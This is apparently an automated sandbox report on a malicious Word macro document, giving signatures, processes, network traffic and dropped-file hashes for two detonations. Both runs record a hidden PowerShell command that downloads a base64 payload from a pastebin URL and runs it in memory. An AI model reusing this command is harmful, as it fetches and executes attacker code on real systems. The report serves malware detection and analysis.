Malware Analysis Report

2025-01-22 19:11

Sample ID 240724-caynzsvbpf
Target 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc
SHA256 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

Threat Level: Known bad

The file 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-24 01:53

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-24 01:53

Reported

2024-07-24 01:55

Platform

win7-20240704-en

Max time kernel

118s

Max time network

121s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp

Files

memory/2672-0-0x000000002F251000-0x000000002F252000-memory.dmp

memory/2672-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2672-2-0x0000000070EDD000-0x0000000070EE8000-memory.dmp

memory/2672-4-0x00000000007C0000-0x00000000008C0000-memory.dmp

memory/2672-6-0x00000000007C0000-0x00000000008C0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2672-66-0x0000000070EDD000-0x0000000070EE8000-memory.dmp

memory/2672-67-0x00000000007C0000-0x00000000008C0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 77d94adf27b068f6c2dfda4bf418adfe
SHA1 a4bde2ac570780ccf07108e04100c867e3610a18
SHA256 018293a2d1a84a07b0828092c8ba29d547c07335edb39c145acbd5996d537a03
SHA512 379eb5424690f579eeb23f6aa11956e8702677e620d48097e19d1d48ab61303bd43e601a38005c492821d6477d143f9310b193f0f4a9402bd28cd0005cb45c23

memory/2672-89-0x000000005FFF0000-0x0000000060000000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD7F0166.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/2672-92-0x0000000070EDD000-0x0000000070EE8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-24 01:53

Reported

2024-07-24 01:56

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

155s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.4.235:443 pastebin.com tcp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 137.71.105.51.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.18.27.146:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
GB 2.19.252.143:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 146.27.18.2.in-addr.arpa udp
US 8.8.8.8:53 143.252.19.2.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 63.141.182.52.in-addr.arpa udp

Files

memory/1336-0-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-1-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-4-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-3-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-2-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-5-0x00007FFE6FF8D000-0x00007FFE6FF8E000-memory.dmp

memory/1336-8-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-7-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-10-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-11-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-9-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-14-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-15-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-13-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-16-0x00007FFE2DE20000-0x00007FFE2DE30000-memory.dmp

memory/1336-18-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-20-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-19-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-17-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-12-0x00007FFE2DE20000-0x00007FFE2DE30000-memory.dmp

memory/1336-6-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-38-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-39-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/4748-43-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3v4k2ol.hjm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4748-49-0x0000027964C10000-0x0000027964C32000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E8C31022.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/4748-60-0x000002797D6C0000-0x000002797D704000-memory.dmp

memory/4748-61-0x000002797D790000-0x000002797D806000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

MD5 d29962abc88624befc0135579ae485ec
SHA1 e40a6458296ec6a2427bcb280572d023a9862b31
SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA512 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 fb883578bde26c825e09e1213b6a5327
SHA1 6fc3d9c864e50f7e9665badbbf8d4cef21a766b7
SHA256 0f61ac437094d5f9c007095169159b852df8456cccde1fa062a18ee9f3659caa
SHA512 a1e4807928970d9b8626bb65ebbfd23efdbf65ce28dd2c71e353e176fb439cc0d78fde572672530b50277cc8218c7980da43e90801c435a7609edbde2f9fb566

memory/1336-218-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCDD19A.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

memory/1336-363-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-364-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-365-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-366-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-367-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/4748-368-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

memory/1336-392-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-393-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-394-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-395-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

memory/1336-396-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp